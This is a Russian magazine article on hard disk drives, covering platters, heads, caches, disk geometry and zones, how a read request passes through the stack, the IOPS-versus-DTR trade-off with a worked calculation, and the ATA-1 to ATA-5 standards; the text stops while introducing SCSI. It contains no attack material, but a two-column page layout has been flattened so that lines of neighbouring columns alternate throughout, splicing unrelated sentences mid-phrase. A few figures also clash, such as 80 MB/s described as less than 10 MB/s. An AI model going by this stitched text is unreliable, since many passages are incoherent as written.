Данные устройства, более известные как (E)IDE-диски
(«поблагодарим» Western Digital за внесение путаницы
в терминологию), не имеют контроллера шины как та-
кового. Та часть ATA-шины, имеющая привычного вида
ATA-разъемы и находящаяся на материнской плате,
является не более чем электрическим интерфейсом и
минимальными схемами буферизации, позволяющими
ATA-устройству взаимодействовать с системной шиной
без особых проблем. Но подробней об этом дальше; Тут следует отвлечься и уточнить, что скорость вра-
 SCSI (Small Computer Simple Interface) – любое устрой- щения пластин является одним из основных показателей
ство, использующее один из множества SCSI-прото- общей производительности диска. Чем выше скорость
колов, начиная от SCSI-2 и заканчивая iSCSI. вращения шпинделя двигателя, тем будут лучше средние
показатели скорости чтения-записи данных для диска в
Все вышеперечисленное относится к физическим уст- целом. Но в то же время чем выше скорость вращения,
ройствам, к терминологии логических устройств мы об- тем выше вибрация и тепловыделение. Кроме того, с ро-
ратимся позже. В процессе обсуждения я позволю себе стом скорости вращения аэродинамические завихрения
небольшие отступления для разъяснения новых терминов. по внешнему краю пластин начинают создавать дополни-
Итак, для начала давайте рассмотрим физические тельные проблемы. Только из-за этих объективных инже-
составляющие обычного жесткого диска. Это комплек- нерных трудностей все еще нет дисков со скоростью вра-
сное устройство, продукт человеческой изобретатель- щения пластин, скажем, 50000 об/мин.
ности и сумма высоких технологий, механики и элект- Магнитные пластины, наряду с подшипниками дви-
роники, в котором ни одна часть по отдельности не яв- гателя и магнитными головками, являются еще одним
ляется определяющей скорость или надежность диска продуктом высоких технологий. Обычно они изготовля-
в целом как устройства. ются из алюминиевого сплава (хотя используются и
Но по порядку, точнее, по составляющим: другие материалы, например, серия дисков IBM DTLA
 корпус диска; со стеклянными пластинами) и покрываются магнитным
 электродвигатель и подшипники; слоем. Число пластин в диске может изменяться от од-
 магнитные пластины; ной до четырех-пяти, в зависимости от его емкости.
 магнитные головки и их привод; Поверхность пластин сверхровная, так как качество
 контроллер диска; поверхности пластин определяет такие характеристи-
 схемы электропитания. ки диска, как число ошибок на единицу поверхности и
величину зазора между пластинами и магнитными го-
Первые два элемента, корпус и двигатель, можно рас- ловками при работе диска, которые, в свою очередь,
сматривать как единую сборку, основу диска, к которой определяют такой важный параметр, как плотность за-
крепятся все остальные части. Сам корпус играет роль писи. Под плотностью записи понимают количество бит
шасси и по совместительству радиатора охлаждения дис- данных, которые могут быть размещены на 1 квадрат-
ка. При этом, как ни странно, наиболее важными и наи- ном дюйме поверхности пластины. («Успешно» – клю-
менее обсуждаемыми и известными частями данной сбор- чевое слово, неуспешно записанные данные нам неин-
ки являются двигатель и его подшипники. Только благо- тересны). В общем случае чем выше плотность записи,
даря высоким технологиям в изготовлении подшипников тем выше емкость диска и, возможно, выше внутрен-
удается достичь скорости вращения шпинделя двигателя няя пропускная способность диска.
современных дисков в 15000 об/мин, и при этом обеспе- Магнитные головки вместе с их приводом выглядят
чить ровность хода пластин и отсутствие вибрации. как обеденная вилка, где сами головки крепятся к «зу-

64
hardware
бьям» вилки (в случае двух и более магнитных пластин вращения двигателя, перемещение головок) до обра-
на «средних» зубьях размещаются по две головки – ботки данных.
сверху и снизу для соседних поверхностей), а привод Кэш-память используется для промежуточного хра-
головок крепится к «ручке». Число головок и скорость нения данных, перед тем как они будут записаны на диск
их перемещения (правильный термин – позициониро- или переданы в оперативную память компьютера. Непос-
вания) обязательно указывается производителем в до- редственно сам объем кэш-памяти не оказывает замет-
кументации на диск и является еще одним фактором, ного влияния на общую производительность диска, од-
прямо влияющим на его общую производительность. нако качество алгоритмов использования кэш-памяти
Скорость позиционирования головок определяется уже может оказаться существенным.
как «время доступа» (access time). В реальной жизни Есть множество методов управления кэш-памятью, и
наибольший интерес представляют: время доступа на более «умный» диск с меньшим объемом кэша, но бо-
соседнюю дорожку, время доступа с первой дорожки лее продвинутым адаптивным алгоритмом кэширования,
на последнюю и среднее время доступа. окажется быстрей диска с большим объемом кэша, ис-
Среднее время доступа можно рассматривать как пользуемого как простой буфер ввода-вывода.
время, необходимое для перемещения магнитных го- Интерфейс шины определяется типом используемого
ловок на 1/3 всего хода, плюс время на стабилизацию протокола шины. Далее мы в деталях рассмотрим наибо-
на нужной дорожке. Следует уточнить, что в современ- лее распространенные – IDE, SCSI и Fibre Channel. На те-
ных дисках в случае перемещения на большое рассто- кущий момент у каждого из производителей дисков обыч-
яние головки передвигаются не с постоянной скорос- но существуют некие базовые модели дисков, с практи-
тью, а с переменной. чески одинаковыми характеристиками механической ча-
В начале движения идет фаза разгона головок, а в сти, но с разным типом интерфейса и, соответственно,
конце пути следует фаза торможения. Естественно, что разным набором логики.
использование такой технологии позволяет существен- Схемы электропитания – достаточно важная деталь.
но уменьшить время доступа, особенно при частых пе- Входное электропитание подается на делители напря-
ремещениях головок на большие расстояния. жения, где обрезается до нужных величин, обычно без
Типичный пример – два активно использующиеся дополнительной стабилизации, так как стабилизаторы
раздела, находящиеся в разных частях одного жестко- слишком большие для их монтажа на контроллере дис-
го диска. Также замечу, что в случае операции записи ка. Из-за отсутствия дополнительной стабилизации, ка-
время доступа будет несколько больше, чем при опе- чественное входное электропитание является одним из
рации чтения данных, так как в случае записи необхо- основных параметров долгожительства диска.
димо более точное позиционирование головок, и как Никогда не подключайте диски через переходники,
следствие увеличивается время их стабилизации на такие как разветвитель электропитания на радиаторе
нужной дорожке. CPU. Это обязательно приведет к скачкам напряжения
и, как следствие, сокращению срока службы диска.
Поскольку мы начали говорить о том, что «не лю-
бят» диски, вот еще несколько важных мелочей. Никог-
да не монтируйте диски «вверх ногами», то есть элект-
роникой вверх. По возможности избегайте монтажа
дисков вертикально разъемами вверх или вниз. Все эти
положения ведут к повышенным нагрузкам на подшип-
ники двигателя и привод головок, нарушают охлажде-
ние и, в конечном итоге, снижают срок службы диска.
Диски не любят перегрева (как, впрочем, и все другие
комплектующие). Если вы монтируете несколько дис-
ков один над другим, убедитесь, что зазор между ними,
по крайней мере, существует. Установите еще несколь-
ко вентиляторов охлаждения.
Диски не любят механических нагрузок и вибрации.
При монтаже убедитесь, что все четыре винта крепле-
ния дисков затянуты равномерно и достаточно плотно.
Ослабление винтов приведет к увеличению вибрации
диска и сокращению срока его службы.
Не рискуйте понапрасну своими данными. Соблюдай-
Контроллер диска – плата, монтируемая на самом те эти элементарные правила, и, вполне возможно, что
диске. Включает микропроцессор и его программное вы избавите себя от значительного количества ненуж-
обеспечение, блоки кэш-памяти, интерфейс шины и кон- ных проблем.
туры электропитания. На этом мы закончим обсуждение физических со-
Микропроцессор контролирует все операции диска: ставляющих жестких дисков и перейдем к знакомству
от параметров механических частей диска (скорость с их логической частью.

№3(4), март 2003 65


hardware
ности пластин. В свою очередь, дорожкой называется
концентрическая полоса поверхности пластины. Дорож-
ки создаются при низкоуровневом форматировании дис-
ка, и их число может изменяться в зависимости от типа
и модели диска.
Сектора также создаются на этапе низкоуровнего
форматирования (кстати, все современные диски по-
ставляются уже отформатированными на низком уров-
не, а пользователь не имеет возможности изменить этот
формат), и представляют собой часть поверхности до-
рожки, на которую может быть записано 528 байт ин-
формации – 512 байт данных и 16 байт служебной ин-
формации, такой как ECC сектора. Обычно на каждой
дорожке выделяется несколько запасных секторов, ко-
торые используются для замены сбойных секторов толь-
ко этой дорожки. Это позволяет избежать необходимо-
сти перемещения всей дорожки в область резерва в
случае появления сбойных секторов.
Легко заметить, что число секторов на дорожку не
является фиксированным и изменяется от дорожки к
дорожке. Для типичного диска число секторов на внеш-
ней, самой длинной (нулевой) дорожке может в два раза
превышать число секторов на внутренней, самой корот-
кой дорожке. Но изменение это не может быть плав-
ным: разница в длине между двумя соседними дорож-
ками просто недостаточна для того, чтобы вместить еще
Для того чтобы диск можно было использовать, опе- один сектор. Поэтому был введен термин «зона», изве-
рационная система должна иметь какой-либо способ ад- стный как «группа цилиндров». Под зоной понимают
ресации запросов на ввод/вывод к диску. Существует группу соседних цилиндров с одинаковым числом сек-
несколько таких способов, зависящих от типа диска. Те- торов, равных числу секторов на самом коротком, т.е.
оретически любой жесткий диск можно описать при по- самом внутреннем цилиндре. Число зон на диске мо-
мощи нескольких параметров, вместе называемых «гео- жет изменяться от 10 и выше. Как и в случае с сектора-
метрией диска». ми, в каждой зоне выделяется запасной цилиндр, что в
Каждый диск имеет свою «геометрию». Например, случае появления сбойной дорожки (дорожки, где за-
геометрия IDE-диска, определяемая как число его ци- кончились резервные секторы для замены сбойных) по-
линдров, головок и секторов, так как она представлена зволяет избежать перемещения всей дорожки в конец
в BIOS компьютера. Важно понимать, что те числа ци- диска, как это было раньше. Вот и все о логической
линдров головок и секторов, которые вы видите в BIOS структуре диска.
компьютера, ни в коей мере не являются реальными зна- Теперь, когда мы познакомились с устройством жест-
чениями. Для упрощения относитесь к ним, как к неким ких дисков, давайте резюмируем основные факторы, вли-
абстрактным значениям, используемым по историческим яющие на производительность дисков, и какое влияние
причинам для борьбы с проблемами дисковой адреса- на них мы как пользователи можем оказать.
ции в операционных системах производства Microsoft. Во-первых, это физические параметры, скорость пе-
В случае SCSI-дисков все проще – для любой опера- ремещения головок и скорость вращения шпинделя дис-
ционной системы они выглядят (при помощи контролле- ка. Оба параметра рассмотрены выше, и непосредствен-
ра шины) как непрерывная цепочка блоков данных раз- но изменить их мы не в силах.
мером 512 байт. Вот тут и лежит фундаментальная раз- Во-вторых, качество логики диска, которое мы также
ница между IDE- и SCSI-устройствами. Как я уже гово- не в силах изменить.
рил, IDE-диски не используют контроллер шины. Вместо Для описания логической суммы этих двух факторов
этого они имеют интегрированный контроллер диска (от- существует еще одна очень важная характеристика дис-
сюда и термин IDE – Integrated Drive Electronic), который ка – внутренняя скорость передачи (Internal Transfer Rate,
общается напрямую с IDE-драйвером операционной си- ITR). Это максимальная скорость, с которой данные мо-
стемы через минимальную электронику на материнской гут быть прочитаны с поверхности диска и помещены в
плате компьютера, также известную, как IDE-разъем. Та- кэш-память для последующей передачи в память компь-
ким образом, операционная система запрашивает бло- ютера. Это же относится к записи, но в случае записи
ки у SCSI-контроллера и физические (хотя и не реаль- также вычисляется и записывается ECC сектора. Так как
ные) сектора у IDE-дисков. Но мы отвлеклись. объем данных на дорожке изменяется от зоны к зоне, в
Цилиндр – это вертикальная группа дорожек, совпа- спецификации на диск ITR обычно указывается как мак-
дающих по своему физическому положению на поверх- симальное/минимальное значение для диска.

66
hardware
операционной системы (обычно файловая система яв-
ляется частью операционной системы). Каждый раздел
(partition) диска должен иметь файловую систему, для
того чтобы операционная система смогла его использо-
вать. Исключение составляют так называемые «сырые
разделы» (raw partitions), традиционно используемые
базами данных или как разделы для свопинга в Unix.
Именно файловая система обеспечивает контроль це-
лостности данных на уровне операционной системы и
контролирует перемещение данных с/на устройства хра-
нения. Но к файловым системам мы еще вернемся и об-
судим их в деталях позже.
А теперь назад к операции чтения данных. Предпо-
ложим, что в нашем случае размер записи (блока) фай-
ловой системы равен 2 Кб (настраиваемый параметр,
обычно может быть изменен при создании файловой си-
стемы), и пользовательское приложение запрашивает
чтение только одного блока данных. В этом случае фай-
ловая система получит и затем отправит драйверу кон-
троллера шины запрос на чтение 2 Кб данных. На уров-
не драйвера контроллера шины этот запрос будет стран-
слирован в одну операцию чтения непрерывной после-
довательности (первый блок, затем несколько следую-
щих за ним) из 4 блоков по 512 байт. Так как в нашем
примере размер блока файловой системы равен 2 Кб,
По моему мнению, ITR является одной из важнейших любая операция чтения/записи на самом деле будет ра-
характеристик диска, публикуемой в его технической до- ботать с 4 последовательными дисковыми блоками. В
кументации. ITR характеризует максимально возможную нашем примере эти 4 дисковых блока являются мини-
производительность самого диска, в отрыве от всех ос- мальной величиной операции ввода/вывода.
тальных потенциальных «узких мест». Например, если Суммарное время на получение нужных нам (точнее,
максимальный ITR некого диска равен 80 Мб/с, т.е. мень- нашему приложению) 2 Кб данных может быть разбито
ше 10 Мб/с, то подключение такого диска через шину на несколько этапов.
UltraATA-100 не даст никакого увеличения производитель-  Время, проводимое запросом в очереди на обслужи-
ности и, в общем-то, бессмысленно. вание.
А теперь давайте рассмотрим, как происходит типич-  Время на служебные команды.
ная операция с диском, и как на нее влияют вышеизло-  Время доступа.
женные факторы.  Время передачи.
Предположим, что приложение пользователя запраши-  Время на получение данных файловой системой.
вает операцию ввода/вывода у операционной системы.
Пусть это будет чтение некоторого обьема данных. Очередь команд может существовать как в драйвере
Получив запрос от приложения, опрерационная сис- контроллера, так и в самом контроллере. Время, прово-
тема, в свою очередь, передает этот запрос файловой димое запросом в очереди на обслуживание, зависит от
системе, и уже файловая система инициирует вызов текущей нагрузки на подсистему ввода/вывода, и может
драйвера соответствующего контроллера шины. Затем изменяться от практически нулевого до сотен миллисе-
программное обеспечение (firmware) контроллера шины, кунд. Размер очереди команд зависит от драйвера кон-
получив запрос от драйвера, передаст этот запрос кон- троллера и также может изменяться.
троллеру диска. В случае IDE-дисков последняя стадия Служебные команды включают в себя необходимый
отсутствует, и ATA-драйвер операционной системы об- обмен служебной информацией (в основном опрос стату-
щается непосредственно с контроллером диска. В лю- са дисков и передача им нужных команд) между контрол-
бом случае в итоге всех этих операций контроллер дис- лером шины и контроллером диска. Объем данной инфор-
ка получает команду найти блок данных с некоторым мации сравнительно невелик, а обмен командами и отве-
адресом, а затем прочитать и передать некоторое ко- тами осуществляется на полной скорости шины. В общем
личество следующих за ним блоков. Адрес начального случае этим временем можно пренебречь.
блока и необходимое количество блоков контролиру- Время доступа, в свою очередь, состоит из времени
ется файловой системой, будь то реальные физичес- позиционирования головок, стабилизации головок на
кие блоки, как в случае с SCSI-дисками, или виртуаль- нужном цилиндре, а также времени задержки враще-
ный адрес, как в случае с ATA. ния. Время позиционирования – это время, необходи-
Кстати, под файловой системой надо понимать про- мое на перемещение головок диска из их текущего по-
граммное обеспечение, предоставляющее данные для ложения на нужный цилиндр, а время стабилизации –

№3(4), март 2003 67


hardware
это время, необходимое головкам для их выравнива-
ния и остановки на этом цилиндре.
А вот задержка вращения требует дополнительных
пояснений. Временем задержки вращения (rotational
latency) называется время, которое требуется пласти-
нам на вращение до такого положения, когда начало
нужного нам сектора окажется непосредственно под го-
ловкой. Логично предположить, что в среднем время
задержки вращения составит половину от времени од-
ного оборота диска, что не так уж мало даже на скоро-
стных дисках. Кроме этого, также может возникнуть си-
туация, когда начало нужного сектора находится под
головками, но по какой-либо причине (переполнены
кэш-буфера диска в случае операции чтения, или дан-
ные еще полностью не получены от конроллера шины в
случае операции записи) не могут быть прочитаны и
переданы контроллеру диска. Такие ситуации называ- Принято говорить о двух основных (и противополож-
ются «пропущенным оборотом» (missed rotation) и в ных друг другу) критериях производительности диска –
общем-то избежать их невозможно. Время доступа из- максимальном числе операций ввода/вывода в секунду
меняется в зависимости от типа диска, расположения (Input/Output Per Second, IOPS), измеряемом в единицах в
нужных данных на диске, но в любом случае относи- секунду, и максимальной скорости передачи данных (Data
тельно велико – десятки миллисекунд. Transfer Rate, DTR), измеряемой в Мб/с.
Время передачи данных – время, необходимое диску IOPS характеризует максимальное число операций
на чтение, декодирование, проверку целостности данных чтения/записи блоков данных небольшого размера
и их запись в кэш-буфер контроллера диска. Данные чи- (обычно 2 или 4 Kb), которые может выполнить жесткий
таются и передаются в кэш контроллера диска на скорос- диск в единицу времени. В основном этот показатель ис-
ти ITR, контроллер диска проверяет целостность данных, пользуется при обсуждении производительности прило-
а затем передает данные контроллеру шины. Можно счи- жений баз данных, где чтение или запись небольших
тать, что это время ограничено только ITR диска. объемов информации из непоследовательных блоков
И наконец, последняя стадия – полученные контрол- является типичной нагрузкой.
лером данные передаются в оперативную память компь- В свою очередь, DTR обычно используется для описа-
ютера (точнее, буфер файловой системы), о чем драйвер ния максимальной скорости передачи значительного чис-
контроллера шины и сигнализирует файловой системе. ла последовательных блоков данных. Типичный пример –
Файловая система, в свою очередь, сигнализирует при- редактирование цифрового видео, где большинство I/O
ложению пользователя о завершении запроса. В случае запросов означают чтение или запись большого числа пос-
использования raw partitions данная стадия отсутствует, и ледовательных блоков данных.
данные от драйвера передаются непосредственно в бу- Важно понимать, что IOPS и DTR противоположны друг
фер приложения пользователя. другу. Невозможно одновременно получить большое зна-
Еще раз замечу, что блок файловой системы являет- чение IOPS и большой DTR, и вот почему: IOPS – это, по
ся минимальной единицей обмена данными с дисковой сути дела, скорость, на которой диск может принимать и
подсистемой и не может быть фрагментирован. Хотя, ко- обрабатывать команды, позиционировать головки, т.е.
нечно, блоки файловой системы с данными одного фай- затраты времени на обработку одного запроса, описан-
ла могут быть расположены непоследовательно, и это ного выше. При этом объем передаваемых данных край-
явление получило название внешней фрагментации. Сле- не невелик, и, как следствие, невелики затраты времени
довательно, если бы в нашем примере запрашивалось на передачу данных.
чтение данных обьемом 2.5 Кб, это привело бы к генера- Давайте попытаемся определить максимально воз-
ции двух запросов на чтение, каждый из которых читал можное число IOPS для некоторого диска, исходя ис-
бы данные четырех физических блоков. ключительно из законов физики и базовых характери-
Учитывайте это, создавая файловые системы, особен- стик диска, взятых из его технического описания.
но файловые системы на RAID-томах. Размер блока фай- Возьмем для примера диск среднего класса со скорос-
ловой системы обязательно должен быть кратен блоку тью вращения 7200 об/мин и средним временем доступа
(чанку) RAID-тома. Хороший пример – 16 и 64 Кб соответ- 9.9 миллисекунды. Время доступа, как обсуждалось
ственно. Об этом подробнее дальше. выше, состоит из времени позиционирования и стаби-
Итак, мы теперь представляем типичную операцию лизации (9.9 в нашем случае), плюс время задержки вра-
чтения данных с диска, и потенциально узкие места дис- щения. Предположим, что средняя задержка вращения
ковых систем. Теперь давайте разберемся с критериями в долговременном плане равна половине оборота дис-
производительности диска. В предыдущей части статьи я ка. Тогда время одного оборота такого диска составит
использовал термин «общая производительность», давай- 7200/60 = 120 об/с, соответственно 1/120 = 0.00833 се-
те разберем его на конкретные части. кунды на один оборот, соответственно 4.16 миллисе-

68
hardware
кунды на половину оборота. Среднее время обработки основные потребности на ввод-вывод данных, и уже
одного запроса составит 9.9 + 4.16 = 14.05 миллисе- потом приступать к созданию чего-либо. Общие реко-
кунды. Теоретически максимально возможное число мендации дать трудно, но в среднем можно считать, что
таких операций составит 1000/14 = 71 IOPS в секунду. приложений баз данных, электронной почты, web и proxy
Если учесть проигнорированные нами операции, а так- важно обеспечить высокий IOPS, а высокий DTR – для
же дополнительные нагрузки на диск ( тепловая калиб- приложений хранения данных, резервного копирования
ровка и пропущенные вращения, например), это число и систем, где критичной является пропускная способ-
надо уменьшить примерно на 6%. Таким образом, мак- ность системы хранения.
симальное число IOPS-операций, которое может обес- Итак, именно два вышеупомянутых критерия произво-
печить такой диск, составит 66.7. дительности дисковых систем, IOPS и DTR, мы и будем
При этом надо учесть, что достичь такого IOPS мож- использовать во второй части статьи, где поговорим о
но только в случае, когда объем данных, передаваемых наиболее распространенных на текущий момент техно-
при каждой операции ввода/вывода, минимален. Если логиях шин дисков.
размер одного блока данных равен 2 Kb, то суммарный
объем переданных данных (он же DTR) составит всего
66.7 * 2 = 133.4 Kb в секунду! Кроме того, есть только один
способ увеличить IOPS: использовать RAID-массив с боль-
шим числом дисков, работающих в параллель, т.е страйп.
Что касается DTR, то в случае передачи большого чис-
ла последовательных блоков диск получает всего одну
команду, содержащую адрес первого блока и необходи-
мое количество блоков. Передача данных происходит
практически на полной скорости и ограничена только ITR
диска (конечно, при условии, что шина передачи не яв-
ляется узким местом), а число IOPS в данном случае
крайне невелико.
Следовательно, DTR зависит от скорости вращения
диска, плотности записи, скорости, с которой контрол-
лер диска может обрабатывать и передавать данные, и
физическом расположении данных на диске (как уже
упоминалось, внешние цилиндры быстрей). Отчасти
DTR может зависеть от объема и «ума» кэш-памяти дис-
ка, особенно в случае операций записи. Шина данных
может ограничить DTR, но только в случае использова-
ния массива из нескольких дисков.
Все используемые в настоящее время шины, будь то
ATA или SCSI, имеют приличный запас производитель-
ности, который не может быть исчерпан никаким оди-
ночным диском.
Увеличить DTR также можно, используя дисковый
массив, но если вам действительно нужен крайне вы-
сокий DTR, а число имеющихся в распоряжении дисков Часть 2
недостаточно, есть еще один вариант. Вы можете кос- Теперь давайте передвинемся от обсуждения дисков к об-
венно повлиять на «средний» ITR одного диска, исполь- суждению шин данных – технологий, позволяющих об-
зуя только его внешние дорожки. Создайте RAID-страйп щаться компьютеру и дискам.
из внешних разделов дисков, и прирост DTR гаранти- В этой части статьи мы поговорим о двух наиболее
рован. При этом даже не пытайтесь использовать ос- распространенных интерфейсах дисков – ATA (Advanced
тавшиеся незанятыми внутренние части дисков – лю- Technology Attachment) и SCSI – (Small Computer Systems
бая IO-операция c ними приведет к тому, что головки Interface). Давайте снова начнем с терминологии.
будут вынуждены передвигаться гораздо больше обыч- Любой дисковый интерфейс использует свой протокол.
ного и общая производительность получившейся сис- Под протоколом надо понимать набор правил, следуя ко-
темы катастрофически упадет. торым, устройства могут беспрепятственно взаимодей-
Эти два показателя – IOPS и DTR являются точкой ствовать друг с другом.
отсчета при построении дисковых систем. Все осталь- Протоколы ATA и SCSI можно рассматривать, как со-
ное зависит только от потребностей вашего приложе- стоящие из двух уровней. Нижний – физический – уро-
ния. Учитывая, что невозможно получить систему, име- вень определяет электрические и физические характари-
ющую высокий DTR и большое число IOPS одновремен- стики интерфейса, такие как число проводников, схему
но, прежде чем предпринимать какие-то шаги, вы дол- кодирования сигналов и прочее. Верхний – логический –
жны досконально изучить имеющееся приложение, его уровень определяет непосредственно команды обмена

№3(4), март 2003 69


hardware
данными. Вследствие такой двухуровневой архитектуры Со временем, когда пропускной способности шины
появляется возможность изменять один из уровней, и эти ISA стало катострофически не хватать, получили более
изменения никак не повлияют на второй. Что немаловаж- широкое распространение шины VESA и PCI. Что инте-
но в мире быстро изменяющихся технологий. ресно, отчасти необходимость в более производитель-
Физический уровень включает в себя: ной системной шине была вызвана появлением на рын-
 число проводников шины и их использование. Часть ке Microsoft Windows. После появления настолько про-
проводников используется для передачи данных, а изводительных шин (PCI – 32 бита, 33 МГц) жесткие дис-
часть для передачи команд управления; ки снова стали узким местом в системе. Как следствие,
 частоту шины; был предложен новый стандарт – ATA-2.
 величину напряжения на проводниках; В ATA-2 были определены режимы PIO 3 и 4, а также
 электрическое сопротивление шины; режим DMA (Direct Memory Access, известный как
 минимальную и максимальную длину проводников. busmastering) с пиковыми пропускными способностями
11.1 и 16.6 Мб/с соответственно. На самом деле пропус-
В свою очередь, логический уровень включает: кная способность шины была несколько ниже, но это не-
 максимально возможное число устройств на шине; принципиально, так как сами жесткие диски не могли вы-
 способ контроля целостности передаваемых данных; дать больше 8-10 Мб/с. Важной особенностью ATA-2 ста-
 метод передачи данных; ло определение режима LBA (Logical Block Addresing) для
 метод передачи команд управления. дисков размером больше 504 Мб. С этого времени этот
режим стал использоваться для преодоления лимитов,
Нарушение любого из приведенных выше параметров, накладываемых схемой адресации ATA-устройств и тем,
как со стороны производителя устройств, так и со сторо- как эту аресацию использовали операционные системы
ны сборщика, неминуемо приведет к возникновению про- от Microsoft. До появления LBA пользователи были вы-
блем той или иной сложности. Поэтому со стороны сис- нуждены устанавливать специальный драйвер, что влек-
темного администратора очень важно соблюдать соответ- ло за собой дополнительные проблемы.
ствующие стандарты. Вскоре после появления ATA-2 была разработана его
Теперь более подробно об ATA- и SCSI-протоколах. улучшенная версия, впоследствии получившая имя ATA-3.
Начнем с ATA. ATA как стандарт был создан в 80-х го- Основным новшеством в ATA-3 стало появление SMART-
дах прошлого века. Изначально ATA использовал 16-бит- технологии (Self Monitoring Analisys and Report
ную параллельную шину, но на текущий момент уже полно- Technology), позволяющей диску самостоятельно отсле-
стью определен и начинает использоваться Serial ATA – живать свое состояние и сообщать о потенциальных про-
ATA-протокол для последовательной шины. Замечу, что блемах. На первом этапе отслеживалось не так много
в настоящее время широко распространен второй (некор- параметров, в основном температура и количество сбой-
ректный) термин для обозначения ATA-протокола – (E)IDE. ных и переназначенных (remapped) секторов. Произво-
Как я уже говорил выше, термин EDIE был придуман ком- дительность ATA-3 осталась такой же, как и у ATA-2.
панией Western Digital и означает только размещение кон-
троллера диска на самом диске (до ATA контроллер дис-
ка существовал как отдельный внешний блок или отдель-
ная плата). Western Digital была одной из первых в созда-
ниии и продвижении на рынок ATA-дисков, поэтому ее
термин прилип ко всем устройствам ATA. В настоящее вре-
мя с появлением новых стандартов, таких как ATA-3, ATA-5,
ситуация c терминологией начинает исправляться.
Существует несколько стандартов на ATA-шину.
Стандарт ATA-1 на физическом уровне определял в
качестве интерфейса кабель из 40 проводников, с макси-
мальной длиной 45 см. Предусматривал поддержку двух
устройств на шине – master и slave. Была предусмотрена
поддержка только жестких дисков. Методы сигнализации
и частота на шине определялись дисками, а не контрол-
лером шины. Как я уже говорил, в ATA-стандарте контрол-
лер шины не предусмотрен – драйвер операционной сис- ATA-4 был определен в конце 90-х годов. В этом стан-
темы общается с дисками напрямую. В ATA-1 были опре- дарте впервые появился режим UltraATA-33. При исполь-
делены режимы PIO (Programmed I/O) 0, 1 и 2 с пиковой зовании этого режима пиковая скорость передачи данных
пропускной способностью 3.3, 5.2 и 8.3 Мб/с соответствен- по шине могла достигать 33 Мб/с. Также появился новый
но. Заметьте, что пропускная способность ATA-шины в ре- тип ATA кабеля с 80 проводниками, где 40 новых провод-
жиме PIO-2 также являлась теоретическим пределом для ников являются «землей» и используются для контроля
используемой в то время шины ISA. Кроме того, отсут- ошибок на шине. Но основным новшеством в ATA-4 стало
ствовал какой бы то ни было контроль целостности пере- использование CRC для контроля целостности передавае-
даваемых данных. мых по шине данных. Вычисление CRC производится для

70
hardware
каждого переданного пакета данных, как самим диском, Ну и для полноты картины необходимо упомянуть о
так и ATA-драйвером операционной системы. В конце пе- ATAPI-протоколе, используемом для подключения к ATA-
редачи каждого пакета данных драйвер передает вычис- шине устройств, дисками не являющихся, т.е. CDROM,
ленный им CRC контроллеру диска. И уже контроллер дис- DVD и стримеров. Так как стуктура команд этих устройств
ка сравнивает собственный и полученный от драйвера CRC, абсолютно несовместима со структурой команд дисков,
а в случае ошибки сообщает об этом драйверу, после чего был введен протокол более высокого уровня, использу-
драйвер повторяет команду, вызвавшую ошибку. Кроме ющий в качестве транспорта протокол ATA и названный
этого, в ATA-4 была анонсирована поддежка перекрываю- ATAPI (ATA Packet Interface). Для этого наряду с драйве-
щегося ввода/вывода (overlapped IO), а также очереди ко- ром ATA используется еще один драйвер, инкапсулиру-
манд. К сожалению, я не знаю, была ли реализована под- ющий команды и данные в пакеты ATA. Такие инкапсу-
держка этих функций в какой-либо операционной системе лированные пакеты выглядят как обычные пакеты дан-
на тот момент времени. ных для жесткого диска на той же ATA-шине. ATAPI по-
ATA-5 появился сравнительно недавно и снова увели- зволил стандартизовать интерфейсы дисковых устройств
чил производительность АТА-шины в два раза. Новый ре- и упростить работу с ними, что, в свою очередь, привело
жим UltraATA-66 позволяет достичь пропускной способ- к еще более широкому распространению ATA как шины
ности 66 Мб/с. Кроме того, возможности SMART в ATA-5 передачи данных.
дисках были расширены, и как часть SMART была реали- Напоследок несколько советов и слов о наиболее рас-
зована автоматическая проверка целостности данных на пространенных проблемах с ATA:
дисках. Ранее такая проверка целостности данных была  Не пытайтесь использовать UltraATA-режимы и обыч-
реализована только в SCSI-дисках. ные 40-проводниковые АТА-кабели. Работать не будет.
ATA-5 диски считывают данные и ECC из каждого фи-  Не устанавливайте на одном шлейфе UltraATA- и ATA-
зического сектора, и в случае ошибки перемещают дан- устройства. Работать будет, но режим работы шины
ные из проблемного сектора в резервный. Естественно, будет соответствовать режиму работы наиболее мед-
это делается в свободное от «основной работы» время. ленного устройства.
В рамках работ по созданию ATA-5 также разрабаты-  ATA-драйвера большинства операционных систем по-
валась (и только сейчас разработка заканчивается) но- зволяют вручную установить режим работы шины. Если
вая последовательная ATA-шина, получившая название вы испольуете Windows, просто установите драйвера,
SerialATA. Эта новая последовательная шина имеет не- поставляемые в комплекте с материнской платой. Если
сколько преимуществ, из которых два основных – это вы используете Linux, прочитайте документацию на
уменьшенные физические размеры разъемов и снятие утилиту hdparm. В любом случае возможен некоторый
лимита в 45 см на длину ATA-кабеля. Рано или поздно эта прирост производительности.
шина станет основной в настольных системах, но на те-  Если вам необходимо за относительно небольшие
кущий момент она все еще не получила существенного деньги получить сравнительно приличную производи-
распространения. тельность дисковой подсистемы, обратите внимание
на ATA RAID контроллеры. Сейчас эти устройства ста-
бильны, недороги и поддерживаются большинством
операционных систем.

Стандарт ATA задумывался как максимально простая


и дешевая технология подключения дисковых устройств
в настольных системах. Именно поэтому типичный оди-
ночный ATA-диск обычно обходит аналогичный диск SCSI
по всем параметрам. Причина этого проста – ATA-диски
являются гораздо более простыми устройствами, чем дис-
ки SCSI и, соответственно, гораздо менее «умными». Кро-
ме того, в ATA-протоколе отсутствует комплексная систе-
ма команд SCSI, необходимая для менеджмента до 15 ус-
тройств на одной шине, и связанные с такой системой до-
полнительные накладные расходы. К тому же ATA-диск, а
не контроллер шины управляет ATA-шиной, и пересылает
данные в выделенном режиме, он не разделяет шину с
другими устройствами.
Но у ATA есть и серьезные недостатки. Так как управ-
ление каждым ATA-устройством осуществляется непос-
редственно операционной системой, скорость передачи
данных сильно зависит от частоты процессора компьюте-
ра. И даже на относительно быстрых системах передача
заметного обьема данных по АТА-шине «сьест» вплоть до
60 % процессорного времени. В случае же использова-

№3(4), март 2003 71


hardware
ния SCSI-устройств основная часть работы по передаче ченное к SCSI-шине. Обсуждая физическую SCSI-шину,
данных выполняется контроллером шины и нагрузка на обычно говорят о 2-х типах устройств – targets и initiators.
процессор минимальна. Initiator, он же контроллер шины, он же SCSI-адаптер.
Вторым большим недостатком ATA является неболь- Устройство, управляющее SCSI-шиной и соединяющее ее
шое число дисков, которые могут быть установлены в с системной шиной.
одной системе. Так как к одной ATA-шине могут быть Target, он же просто SCSI-устройство. Любое устрой-
